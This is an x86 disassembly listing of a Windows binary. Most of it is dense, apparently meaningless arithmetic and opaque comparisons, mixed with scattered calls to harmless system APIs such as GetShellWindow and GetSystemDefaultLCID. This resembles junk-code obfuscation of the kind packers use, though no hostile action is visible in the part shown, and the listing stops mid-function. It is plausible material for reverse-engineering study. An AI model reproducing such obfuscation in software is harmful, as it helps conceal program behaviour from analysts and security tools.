mov edx, dword [0x100a2150]
mov eax, dword [0x100a2154]
mov dword [ebp - 0x29dc], eax
sub ecx, edx
mov eax, dword [0x100a2104]
cdq
or eax, ecx
mov dword [0x100a2104], eax
movzx eax, byte [ebp - 2]
cdq
add eax, 0x8e90671a
mov dword [0x100a20dc], eax
jmp 0x10049f91
movzx ecx, word [0x100a20e0]
sub ecx, 3
mov word [ebp - 0x10], cx
mov eax, dword [0x100a2150]
mov edx, dword [0x100a2154]
mov cl, 1
call fcn.10073f30
mov word [0x100a20c8], ax
mov edx, dword [ebp - 0x28]
xor eax, eax
push 0xda6fc
push 0xcac37f24
push eax
push edx
call fcn.10073ef0
mov ecx, dword [ebp - 0x64]
sub ecx, eax
mov eax, dword [ebp - 0x60]
sbb eax, edx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x60], eax
mov ecx, dword [0x100a20d0]
sub ecx, 0x9458
mov edx, dword [0x100a20d4]
sbb edx, 0
push edx
push ecx
mov eax, dword [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0x54]
push ecx
call fcn.10073ef0
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
jmp 0x1004a071
movsx edx, byte [0x100a203b]
test edx, edx
je 0x1004a071
movzx eax, word [ebp - 0xc]
test eax, eax
jne 0x10049fb9
mov dword [ebp - 0x34c], 1
jmp 0x10049fc3
mov dword [ebp - 0x34c], 0
movsx ecx, byte [0x100a2027]
test ecx, ecx
jne 0x10049fda
mov dword [ebp - 0x344], 1
jmp 0x10049fe4
mov dword [ebp - 0x344], 0
movzx edx, word [ebp - 0xc]
test edx, edx
jne 0x10049ff8
mov dword [ebp - 0x348], 1
jmp 0x1004a002
mov dword [ebp - 0x348], 0
movzx eax, word [0x100a211c]
not eax
mov ecx, dword [ebp - 0x344]
add ecx, dword [ebp - 0x348]
add ecx, dword [ebp - 0x34c]
add eax, ecx
cdq
mov dword [0x100a2130], eax
mov dword [0x100a2134], edx
xor edx, edx
mov dword [0x100a20e8], 0x4e
mov dword [0x100a20ec], edx
movsx eax, word [0x100a20c8]
mov ecx, dword [ebp - 0x18]
add ecx, eax
mov edx, dword [ebp - 0x18]
add edx, ecx
mov dword [ebp - 0x18], edx
mov eax, dword [0x100a2c3c]
xor ecx, ecx
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], ecx
movzx edx, word [0x100a2138]
add edx, 0xba
mov dword [0x100a2114], edx
mov eax, dword [ebp - 0x170]
add eax, 0x366
mov dword [ebp - 0x510], eax
movzx eax, word [0x100a211c]
imul eax, dword [0x100a2128]
cdq
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
mov cx, word [0x100a20c8]
mov edx, 1
imul eax, edx, 0x24
mov byte [eax + 0x102b76dc], cl
movzx eax, word [0x100a211c]
cdq
mov ecx, dword [0x100a2108]
mov esi, dword [0x100a210c]
xor ecx, eax
xor esi, edx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], esi
mov edx, dword [0x100a2c3c]
mov dword [ebp - 0x174], edx
mov eax, dword [ebp - 0x54]
add eax, 0x24a19912
mov ecx, dword [ebp - 0x50]
adc ecx, 0
mov dword [ebp - 0x164c], eax
mov dword [ebp - 0x1648], ecx
mov edx, dword [ebp - 0x164c]
or edx, dword [ebp - 0x1648]
jne 0x1004a10a
mov dword [ebp - 0x350], 1
jmp 0x1004a114
mov dword [ebp - 0x350], 0
movzx eax, word [0x100a20e0]
test eax, eax
jne 0x1004a12b
mov dword [ebp - 0x354], 1
jmp 0x1004a135
mov dword [ebp - 0x354], 0
mov ecx, dword [ebp - 0x38]
sub ecx, dword [0x100a2114]
add ecx, dword [ebp - 0x350]
mov edx, dword [ebp - 0x2c]
not edx
and edx, dword [ebp - 0x30]
movzx eax, byte [ebp - 3]
add eax, dword [ebp - 0x354]
xor edx, eax
add ecx, edx
mov word [0x100a2110], cx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x29e0], eax
add ecx, edx
mov dword [ebp - 0x1c], ecx
movzx ecx, byte [ebp - 2]
mov edx, dword [ebp - 0x3c]
not edx
xor ecx, edx
jne 0x1004a18e
mov dword [ebp - 0x358], 1
jmp 0x1004a198
mov dword [ebp - 0x358], 0
mov eax, dword [0x100a20f4]
imul eax, dword [0x100a20d8]
add eax, dword [ebp - 0x358]
xor ecx, ecx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], ecx
cmp dword [ebp - 0x34], 0
jne 0x1004a1c4
mov dword [ebp - 0x35c], 1
jmp 0x1004a1ce
mov dword [ebp - 0x35c], 0
mov edx, dword [ebp - 0x30]
not edx
add edx, 0x749f5a9d
mov ecx, edx
xor esi, esi
or ecx, dword [0x100a20e8]
or esi, dword [0x100a20ec]
mov eax, dword [ebp - 0x35c]
sub eax, dword [ebp - 0x34]
movsx edx, byte [0x100a2027]
movzx edi, word [0x100a20e0]
sub edx, edi
add eax, edx
cdq
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov word [0x100a2138], ax
mov eax, dword [ebp - 0x174]
add eax, 0x594
mov dword [ebp - 0x29e4], eax
mov ecx, dword [0x100a2108]
mov esi, dword [0x100a210c]
movsx eax, word [0x100a20c8]
cdq
mov dword [ebp - 0x1654], ecx
mov dword [ebp - 0x1650], esi
mov dword [ebp - 0x165c], eax
mov dword [ebp - 0x1658], edx
mov edx, dword [ebp - 0x1650]
cmp edx, dword [ebp - 0x1658]
ja 0x1004a27b
jb 0x1004a26f
mov eax, dword [ebp - 0x1654]
cmp eax, dword [ebp - 0x165c]
jae 0x1004a27b
mov dword [ebp - 0x360], 1
jmp 0x1004a285
mov dword [ebp - 0x360], 0
mov ecx, dword [0x100a2108]
mov edx, dword [0x100a210c]
mov dword [ebp - 0x1664], ecx
mov dword [ebp - 0x1660], edx
cmp dword [ebp - 0x1660], 0
ja 0x1004a2bd
jb 0x1004a2b1
cmp dword [ebp - 0x1664], 0x49
jae 0x1004a2bd
mov dword [ebp - 0x364], 1
jmp 0x1004a2c7
mov dword [ebp - 0x364], 0
mov eax, dword [ebp - 0x360]
cmp eax, dword [ebp - 0x364]
jg 0x1004a2f9
mov byte [ebp - 2], 0xe5
mov dword [0x100a2104], 0x67
mov ecx, dword [ebp - 0x38]
sub ecx, dword [0x100a2104]
not ecx
add ecx, 0x3a
mov dword [0x100a2104], ecx
jmp 0x1004a344
movzx edx, byte [0x100a207b]
test edx, edx
je 0x1004a344
mov eax, dword [ebp - 0x3c]
add eax, 0x7c
mov ecx, dword [ebp - 0x38]
sub ecx, eax
mov dword [ebp - 0x38], ecx
movzx edx, word [ebp - 8]
mov eax, 4
imul ecx, eax, 0x5af
mov dword [ecx + 0x102d3e50], edx
mov eax, dword [0x100a20d0]
mov edx, dword [0x100a20d4]
mov cl, 1
call fcn.10073f50
mov dword [0x100a2148], eax
mov dword [0x100a214c], edx
mov edx, dword [ebp - 0x174]
add edx, 0x2bc
mov dword [ebp - 0x554], edx
mov eax, dword [ebp - 0x54]
or eax, dword [ebp - 0x50]
je 0x1004a456
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 0x30]
jbe 0x1004a376
mov dword [ebp - 0x36c], 1
jmp 0x1004a380
mov dword [ebp - 0x36c], 0
cmp dword [0x100a20dc], 0
jne 0x1004a395
mov dword [ebp - 0x368], 1
jmp 0x1004a39f
mov dword [ebp - 0x368], 0
movsx edx, word [0x100a2110]
not edx
cmp dword [ebp - 0x368], edx
jne 0x1004a3bc
mov dword [ebp - 0x370], 1
jmp 0x1004a3c6
mov dword [ebp - 0x370], 0
mov eax, dword [ebp - 0x36c]
not eax
cmp eax, dword [ebp - 0x370]
jle 0x1004a3e2
mov dword [ebp - 0x374], 1
jmp 0x1004a3ec
mov dword [ebp - 0x374], 0
mov ecx, dword [ebp - 0x38]
cmp dword [ebp - 0x374], ecx
jl 0x1004a402
call dword [sym.imp.USER32.dll_GetShellWindow]
mov dword [ebp - 0x20], eax
jmp 0x1004a451
movzx eax, byte [ebp - 1]
cdq
mov dword [ebp - 0x166c], eax
mov dword [ebp - 0x1668], edx
mov edx, dword [ebp - 0x166c]
cmp edx, dword [ebp - 0x54]
jne 0x1004a451
mov eax, dword [ebp - 0x1668]
cmp eax, dword [ebp - 0x50]
jne 0x1004a451
movzx eax, byte [ebp - 3]
cdq
push 0xbc20c
push 0x93a9fa74
push edx
push eax
call fcn.10073ef0
mov word [0x100a2124], ax
mov ecx, 0x5d75
mov word [0x100a20c8], cx
jmp 0x1004a5f6
cmp dword [ebp - 0x18], 0
jne 0x1004a468
mov dword [ebp - 0x378], 1
jmp 0x1004a472
mov dword [ebp - 0x378], 0
movzx edx, word [ebp - 0x10]
cmp edx, dword [ebp - 0x378]
jl 0x1004a4ef
movzx eax, byte [ebp - 3]
sub eax, 0x6241ee4c
mov word [0x100a20e0], ax
movsx ecx, word [0x100a2110]
imul eax, ecx, 0x15
cdq
mov dword [0x100a2148], eax
mov dword [0x100a214c], edx
movzx eax, word [ebp - 0xc]
cdq
push edx
push eax
mov edx, dword [0x100a20d4]
push edx
mov eax, dword [0x100a20d0]
push eax
call fcn.10073ef0
mov ecx, eax
mov esi, edx
not ecx
not esi
movsx eax, word [0x100a20c8]
movzx edx, word [ebp - 0x10]
sub eax, edx
cdq
add ecx, eax
adc esi, edx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], esi
movzx eax, byte [ebp - 3]
imul eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
jmp 0x1004a5f6
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x1674], ecx
mov dword [ebp - 0x1670], edx
mov eax, dword [ebp - 0x1674]
or eax, dword [ebp - 0x1670]
je 0x1004a533
mov ecx, dword [ebp - 0x54]
add ecx, 0x16fa497c
mov word [0x100a20f0], cx
mov edx, 0x880b1
mov dword [ebp - 0x54], 0xdaa8efc9
mov dword [ebp - 0x50], edx
jmp 0x1004a5f6
mov eax, dword [ebp - 0x3c]
cmp dword [0x100a2120], eax
jg 0x1004a5f6
cmp dword [0x100a20e4], 0
jne 0x1004a557
mov dword [ebp - 0x37c], 1
jmp 0x1004a561
mov dword [ebp - 0x37c], 0
movzx ecx, word [ebp - 8]
mov eax, ecx
imul eax, dword [ebp - 0x37c]
cdq
mov ecx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x40]
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov ecx, eax
mov esi, edx
movsx eax, byte [0x100a203b]
cdq
or ecx, eax
or esi, edx
mov dword [0x100a2108], ecx
mov dword [0x100a210c], esi
movsx eax, word [0x100a20c8]
cdq
sub eax, 0x52e51ef
mov dword [0x100a2128], eax
mov edx, dword [0x100a20d8]
shr edx, 4
mov dword [ebp - 0x30], edx
movzx eax, byte [0x100a207a]
imul ecx, eax, 0x9d8349d
mov dword [0x100a20d8], ecx
mov edx, dword [0x100a20d8]
xor eax, eax
push 0xa48eb
push 0xf2d0df37
push eax
push edx
call fcn.10073ef0
mov word [0x100a2110], ax
mov ecx, dword [ebp - 0x18]
shl ecx, 6
mov byte [str.y4The_server_is_requ], cl
mov edx, dword [ebp - 0x174]
add edx, 0x5f2
mov dword [ebp - 0x29e8], edx
mov byte [0x100a207b], 0x7b
mov eax, 1
imul ecx, eax, 0x9f1
mov dl, byte [ecx + 0x10141e10]
mov byte [ebp - 3], dl
mov eax, dword [ebp - 0x38]
sub eax, 0xb6e7
cdq
mov dword [0x100a2150], eax
mov dword [0x100a2154], edx
imul eax, dword [ebp - 0x38], 0x11
mov dword [ebp - 0x38], eax
mov eax, dword [0x100a2140]
mov edx, dword [0x100a2144]
mov cl, 2
call fcn.10073f50
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], edx
cmp dword [0x100a2120], 0
jne 0x1004a66b
mov dword [ebp - 0x380], 1
jmp 0x1004a675
mov dword [ebp - 0x380], 0
movzx eax, word [0x100a211c]
cdq
mov ecx, dword [0x100a2108]
mov esi, dword [0x100a210c]
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov ecx, eax
not ecx
mov edx, dword [0x100a20dc]
sub edx, dword [ebp - 0x380]
sub ecx, edx
movzx eax, word [ebp - 0xc]
not eax
movsx edx, word [0x100a20c8]
add eax, edx
mov edx, dword [ebp - 0x38]
and edx, 0
sub eax, edx
cdq
add ecx, eax
mov word [0x100a20e0], cx
movzx eax, byte [str.HeapSize]
cdq
mov ecx, eax
mov esi, edx
movzx eax, byte [ebp - 1]
cdq
add eax, 0x9ed4c0aa
adc edx, 0xcd57d
mov dword [ebp - 0x167c], ecx
mov dword [ebp - 0x1678], esi
mov dword [ebp - 0x1684], eax
mov dword [ebp - 0x1680], edx
mov edx, dword [ebp - 0x167c]
cmp edx, dword [ebp - 0x1684]
jne 0x1004ab3d
mov eax, dword [ebp - 0x1678]
cmp eax, dword [ebp - 0x1680]
jne 0x1004ab3d
movsx ecx, word [0x100a2110]
add ecx, dword [ebp - 0x2c]
cmp ecx, 1
jne 0x1004ab3d
movsx edx, word [ebp - 0x14]
mov eax, dword [ebp - 0x20]
not eax
cmp edx, eax
jl 0x1004a774
mov ecx, dword [0x100a2150]
mov edx, dword [0x100a2154]
mov dword [ebp - 0x168c], ecx
mov dword [ebp - 0x1688], edx
mov eax, dword [ebp - 0x168c]
or eax, dword [ebp - 0x1688]
je 0x1004aafb
cmp dword [0x100a2100], 0
je 0x1004aafb
cmp dword [0x100a20e4], 0
je 0x1004aa48
call dword [sym.imp.USER32.dll_GetDialogBaseUnits]
mov dword [0x100a2114], eax
cmp dword [0x100a2114], 0
jle 0x1004a804
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x20]
add edx, ecx
mov dword [ebp - 0x20], edx
movzx eax, word [ebp - 8]
sub eax, 0x72445a81
mov word [0x100a20e0], ax
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x1c]
sub edx, ecx
mov dword [ebp - 0x1c], edx
movzx eax, byte [str.HeapSize]
xor eax, dword [0x100a20d8]
mov byte [str.HeapSize], al
movzx ecx, byte [str.HeapSize]
test ecx, ecx
je 0x1004a7ec
movsx edx, word [0x100a20c8]
mov dword [ebp - 0x384], edx
jmp 0x1004a7f6
movzx eax, byte [ebp - 2]
mov dword [ebp - 0x384], eax
mov cl, byte [ebp - 0x384]
mov byte [ebp - 2], cl
jmp 0x1004aa43
cmp dword [ebp - 0x28], 0
jne 0x1004a81e
xor edx, edx
mov dword [ebp - 0xf8c], 1
mov dword [ebp - 0xf88], edx
jmp 0x1004a829
xorps xmm0, xmm0
movlpd qword [ebp - 0xf8c], xmm0
mov eax, dword [0x100a2108]
mov ecx, dword [0x100a210c]
mov dword [ebp - 0x1694], eax
mov dword [ebp - 0x1690], ecx
mov edx, dword [ebp - 0x1694]
or edx, dword [ebp - 0x1690]
jne 0x1004a85a
mov dword [ebp - 0x388], 1
jmp 0x1004a864
mov dword [ebp - 0x388], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x388], eax
jge 0x1004a87b
mov dword [ebp - 0x38c], 1
jmp 0x1004a885
mov dword [ebp - 0x38c], 0
mov ecx, dword [0x100a2144]
push ecx
mov edx, dword [0x100a2140]
push edx
mov eax, dword [ebp - 0xf88]
push eax
mov ecx, dword [ebp - 0xf8c]
push ecx
call fcn.10073ef0
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0x38c]
not eax
cdq
mov dword [ebp - 0x169c], ecx
mov dword [ebp - 0x1698], esi
mov dword [ebp - 0x16a4], eax
mov dword [ebp - 0x16a0], edx
mov edx, dword [ebp - 0x1698]
cmp edx, dword [ebp - 0x16a0]
jg 0x1004a91e
jl 0x1004a8e9
mov eax, dword [ebp - 0x169c]
cmp eax, dword [ebp - 0x16a4]
ja 0x1004a91e
mov ecx, dword [ebp - 0x34]
sub ecx, 0x462f
mov word [ebp - 0xc], cx
mov dl, byte [0x100a2c3c]
mov byte [ebp - 2], dl
mov eax, 0x6b48
mov word [0x100a20e0], ax
mov eax, dword [0x100a2104]
cdq
sub eax, 0x8487ce0
mov word [ebp - 0x10], ax
jmp 0x1004aa43
mov ecx, 0x6b5ee434
test ecx, ecx
je 0x1004a9d3
mov edx, dword [0x100a2120]
sub edx, 0xaf04
movzx eax, word [0x100a2138]
sub eax, edx
mov word [0x100a2138], ax
mov ecx, dword [ebp - 0x54]
sub ecx, 0xf95e9371
mov edx, dword [ebp - 0x50]
sbb edx, 0xdf7a9
mov dword [0x100a20d0], ecx
mov dword [0x100a20d4], edx
mov eax, dword [ebp - 0x54]
and eax, 0xfe66
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x38], 0
je 0x1004a989
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
mov dword [ebp - 0xf94], ecx
mov dword [ebp - 0xf90], edx
jmp 0x1004a99b
mov eax, dword [0x100a2120]
cdq
mov dword [ebp - 0xf94], eax
mov dword [ebp - 0xf90], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 8], ax
movzx ecx, word [ebp - 8]
test ecx, ecx
je 0x1004a9b9
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x390], edx
jmp 0x1004a9c4
mov eax, dword [0x100a20f4]
mov dword [ebp - 0x390], eax
mov eax, dword [ebp - 0x390]
cdq
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
jmp 0x1004aa43
movzx ecx, byte [0x100a207b]
test ecx, ecx
jl 0x1004aa43
movzx edx, word [ebp - 0xc]
imul edx, dword [ebp - 0x34]
or edx, 0x93
mov word [0x100a2110], dx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
push 0
push 0x4ced1c4
push ecx
push eax
call fcn.10073ef0
mov ecx, dword [0x100a20f8]
sub ecx, eax
mov eax, dword [0x100a20fc]
sbb eax, edx
mov dword [0x100a20f8], ecx
mov dword [0x100a20fc], eax
mov cl, byte [0x100a2c3c]
mov byte [ebp - 2], cl
mov edx, dword [ebp - 0x3c]
sub edx, 0x919c
movzx eax, word [0x100a2118]
imul eax, edx
mov word [0x100a2118], ax
jmp 0x1004aafb
movzx ecx, word [0x100a2124]
cmp ecx, dword [0x100a2114]
jle 0x1004aa63
mov dword [ebp - 0x394], 1
jmp 0x1004aa6d
mov dword [ebp - 0x394], 0
movsx edx, word [0x100a20c8]
movsx eax, byte [0x100a203b]
cmp edx, eax
jge 0x1004aa8b
mov dword [ebp - 0x398], 1
jmp 0x1004aa95
mov dword [ebp - 0x398], 0
mov ecx, dword [ebp - 0x394]
cmp ecx, dword [ebp - 0x398]
jg 0x1004aafb
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x18], edx
movzx eax, byte [str.HeapSize]
add eax, dword [0x100a2104]
movsx ecx, word [0x100a20c8]
imul eax, ecx
mov dword [ebp - 0x24], eax
movsx edx, word [0x100a2110]
movsx eax, byte [str.y4The_server_is_requ]
mov ecx, dword [ebp - 0x30]
and ecx, 0x8494
imul eax, ecx
add edx, eax
not edx
mov dword [0x100a2104], edx
mov edx, 1
imul eax, edx, 0x63
mov cl, byte [0x100a2128]
mov byte [eax + 0x102f2b18], cl
jmp 0x1004a608
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x1004acd3
movzx ecx, byte [ebp - 2]
test ecx, ecx
je 0x1004abe6
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
push 0
push 0x30c4086d
push eax
push edx
call fcn.10073ef0
mov byte [0x100a203b], al
mov ecx, dword [ebp - 0x20]
not ecx
movzx edx, byte [ebp - 2]
sub ecx, edx
mov byte [str.y4The_server_is_requ], cl
movsx eax, word [0x100a2110]
test eax, eax
jne 0x1004ab9d
mov dword [ebp - 0x39c], 1
jmp 0x1004aba7
mov dword [ebp - 0x39c], 0
movsx ecx, byte [0x100a203b]
movsx edx, word [0x100a20c8]
movzx eax, byte [ebp - 3]
sub edx, eax
not edx
imul ecx, edx
movzx edx, word [ebp - 0x10]
and edx, dword [ebp - 0x39c]
movsx eax, byte [0x100a2027]
not eax
movzx esi, byte [ebp - 3]
xor eax, esi
or edx, eax
imul ecx, edx
mov dword [ebp - 0x2c], ecx
jmp 0x1004acd3
mov ecx, dword [0x100a20d8]
sub ecx, 0x2bbe
mov dword [0x100a2128], ecx
movzx edx, byte [str.HeapSize]
movzx eax, byte [ebp - 1]
add edx, eax
not edx
mov dword [0x100a2104], edx
cmp dword [0x100a20f4], 0
jne 0x1004ac22
mov dword [ebp - 0x3a0], 1
jmp 0x1004ac2c
mov dword [ebp - 0x3a0], 0
movsx ecx, word [0x100a20c8]
test ecx, ecx
jne 0x1004ac43
mov dword [ebp - 0x3a4], 1
jmp 0x1004ac4d
mov dword [ebp - 0x3a4], 0
cmp dword [ebp - 0x3c], 0
jne 0x1004ac5f
mov dword [ebp - 0x3a8], 1
jmp 0x1004ac69
mov dword [ebp - 0x3a8], 0
mov eax, dword [ebp - 0x3a0]
sub eax, dword [ebp - 0x3a4]
cdq
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0x3c]
cdq
mov edi, dword [0x100a2154]
add eax, dword [0x100a2150]
adc edx, edi
add ecx, eax
adc esi, edx
movzx edx, byte [ebp - 1]
not edx
add edx, dword [ebp - 0x3a8]
mov eax, 0xe00d
sub eax, edx
cdq
or ecx, eax
or esi, edx
mov dword [0x100a2108], ecx
mov dword [0x100a210c], esi
mov eax, dword [0x100a20d0]
mov edx, dword [0x100a20d4]
mov cl, 1
call fcn.10073f30
mov dword [ebp - 0x30], eax
mov eax, dword [0x100a2c3c]
mov dword [0x100a2120], eax
mov ecx, 0x121
mov word [ebp - 0x10c], cx
xor edx, edx
mov word [ebp - 0x10a], dx
mov eax, dword [ebp - 0x28]
xor eax, dword [0x100a20dc]
mov ecx, dword [ebp - 0x28]
sub ecx, eax
mov dword [ebp - 0x28], ecx
movzx edx, word [0x100a2138]
imul eax, edx, 0x3ab4
cdq
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
mov ax, word [ebp - 0x10]
add ax, 1
mov word [ebp - 0x10], ax
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0x88], 0
jmp 0x1004ad3e
mov ecx, dword [ebp - 0xe4]
add ecx, 1
mov dword [ebp - 0xe4], ecx
cmp dword [ebp - 0xe4], 1
jae 0x1004b798
movzx edx, byte [ebp - 1]
movsx eax, word [0x100a2110]
cmp edx, eax
jg 0x1004adfd
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x16ac], ecx
mov dword [ebp - 0x16a8], edx
mov eax, dword [ebp - 0x16ac]
cmp eax, dword [ebp - 0x5c]
jne 0x1004ad86
mov ecx, dword [ebp - 0x16a8]
cmp ecx, dword [ebp - 0x58]
je 0x1004ad91
call dword [sym.imp.USER32.dll_GetMessageTime]
mov dword [ebp - 0x34], eax
jmp 0x1004adfd
movzx edx, byte [ebp - 1]
mov eax, dword [0x100a20dc]
lea ecx, [edx + eax - 0xe6]
mov byte [ebp - 1], cl
mov dword [ebp - 0x30], 0xcdf6
movsx edx, word [ebp - 0x14]
movzx eax, byte [ebp - 3]
add edx, eax
movsx ecx, word [ebp - 0x14]
add ecx, edx
mov word [ebp - 0x14], cx
xor edx, edx
mov dword [ebp - 0x44], 4
mov dword [ebp - 0x40], edx
push 0
push 0x2d44f876
mov eax, dword [0x100a2144]
push eax
mov ecx, dword [0x100a2140]
push ecx
call fcn.10073ef0
mov dword [ebp - 0x20], eax
movzx edx, word [ebp - 0xc]
imul eax, edx, 0x92
cdq
mov dword [0x100a2130], eax
mov dword [0x100a2134], edx
mov dword [ebp - 0x178], 0x1ed7
movzx eax, byte [ebp - 2]
test eax, eax
jne 0x1004ae1b
mov dword [ebp - 0x3ac], 1
jmp 0x1004ae25
mov dword [ebp - 0x3ac], 0
mov ecx, dword [0x100a2108]
mov edx, dword [0x100a210c]
mov dword [ebp - 0x16b4], ecx
mov dword [ebp - 0x16b0], edx
mov eax, dword [ebp - 0x16b4]
or eax, dword [ebp - 0x16b0]
jne 0x1004ae5f
xor ecx, ecx
mov dword [ebp - 0x16bc], 1
mov dword [ebp - 0x16b8], ecx
jmp 0x1004ae6a
xorps xmm0, xmm0
movlpd qword [ebp - 0x16bc], xmm0
mov eax, dword [ebp - 0x3ac]
sub eax, dword [ebp - 0x34]
add eax, 0xe5
cdq
mov edx, dword [0x100a20f8]
add edx, dword [ebp - 0x16bc]
mov ecx, dword [ebp - 0x54]
sub ecx, edx
or eax, ecx
mov dword [ebp - 0x24], eax
movzx eax, word [ebp - 8]
cdq
add eax, 0x629c7420
adc edx, 0xe4b84
mov dword [ebp - 0x16c4], eax
mov dword [ebp - 0x16c0], edx
mov edx, dword [ebp - 0x16c4]
or edx, dword [ebp - 0x16c0]
jne 0x1004aecd
xor eax, eax
mov dword [ebp - 0xf9c], 1
mov dword [ebp - 0xf98], eax
jmp 0x1004aed8
xorps xmm0, xmm0
movlpd qword [ebp - 0xf9c], xmm0
mov ecx, dword [0x100a2100]
xor edx, edx
mov eax, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x48]
push edx
push ecx
push esi
push eax
call fcn.10073ef0
mov ecx, dword [ebp - 0x1c]
xor esi, esi
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov ecx, dword [ebp - 0xf98]
push ecx
mov ecx, dword [ebp - 0xf9c]
push ecx
push edx
push eax
call fcn.10073ef0
mov dword [ebp - 0x20], eax
movzx edx, word [0x100a211c]
mov eax, 4
imul ecx, eax, 0x5d
mov dword [ecx + 0x102e3780], edx
mov eax, dword [ebp - 0x38]
cdq
mov ecx, 8
imul ecx, ecx, 0x1b
mov dword [ecx + 0x102df518], eax
mov dword [ecx + 0x102df51c], edx
mov edx, dword [0x100a2c3c]
mov dword [0x100a2114], edx
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x48]
push 0
push 0xe4
push ecx
push eax
call fcn.10073ef0
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x178], 0x1d69
jle 0x1004aff0
mov edx, dword [0x100a2108]
mov eax, dword [0x100a210c]
mov dword [ebp - 0x29ec], eax
add edx, 0xb0db
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x1c], 0x80
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x48]
push 0xce081
push 0x3bfc0456
push edx
push ecx
call fcn.10073ef0
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x34]
sar eax, 4
mov byte [str.y4The_server_is_requ], al
movsx ecx, byte [0x100a203b]
imul edx, ecx, 0xde81
mov dword [ebp - 0x30], edx
mov eax, dword [0x100a2c3c]
xor ecx, ecx
mov dword [0x100a2130], eax
mov dword [0x100a2134], ecx
mov edx, dword [ebp - 0x178]
sub edx, 1
mov dword [ebp - 0x178], edx
jmp 0x1004af65
mov eax, dword [ebp - 0xe4]
movzx ecx, word [ebp + eax*2 - 0x10c]
mov dword [ebp - 0x88], ecx
mov dword [ebp - 0x17c], 0
jmp 0x1004b01f
mov edx, dword [ebp - 0x17c]
add edx, 1
mov dword [ebp - 0x17c], edx
cmp dword [ebp - 0x17c], 0x215
jge 0x1004b036
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
jmp 0x1004b010
mov ecx, dword [ebp - 0x88]
sub ecx, 1
mov dword [ebp - 0x88], ecx
movsx edx, byte [0x100a203b]
test edx, edx
je 0x1004b190
movsx eax, word [ebp - 0x14]
test eax, eax
je 0x1004b071
mov ecx, dword [0x100a2100]
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov byte [ebp - 2], al
jmp 0x1004b18b
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x16cc], edx
mov dword [ebp - 0x16c8], eax
mov ecx, dword [ebp - 0x16cc]
or ecx, dword [ebp - 0x16c8]
je 0x1004b09f
mov edx, dword [0x100a2104]
mov dword [ebp - 0x3b0], edx
jmp 0x1004b0a9
movzx eax, word [ebp - 0x10]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp - 0x3b0]
cdq
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
movzx ecx, word [ebp - 0xc]
not ecx
imul ecx, dword [0x100a2104]
test ecx, ecx
jne 0x1004b0d3
mov dword [ebp - 0x3b4], 1
jmp 0x1004b0dd
mov dword [ebp - 0x3b4], 0
movzx eax, byte [ebp - 1]
not eax
movzx edx, word [0x100a2124]
xor eax, edx
cdq
mov ecx, dword [0x100a2130]
mov esi, dword [0x100a2134]
xor ecx, dword [ebp - 0x4c]
xor esi, dword [ebp - 0x48]
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov ecx, eax
mov esi, edx
not ecx
not esi
movzx eax, byte [str.HeapSize]
add eax, dword [ebp - 0x3b4]
cdq
add ecx, eax
adc esi, edx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], esi
movzx edx, byte [ebp - 2]
sub edx, 0x6277af1f
mov byte [ebp - 1], dl
movzx eax, word [0x100a20e0]
cdq
mov ecx, dword [0x100a2148]
mov edx, dword [0x100a214c]
mov dword [ebp - 0x29f0], edx
and ecx, eax
mov dword [0x100a2128], ecx
xor eax, eax
mov ecx, dword [ebp - 0x54]
sub ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x50]
sbb edx, eax
push edx
push ecx
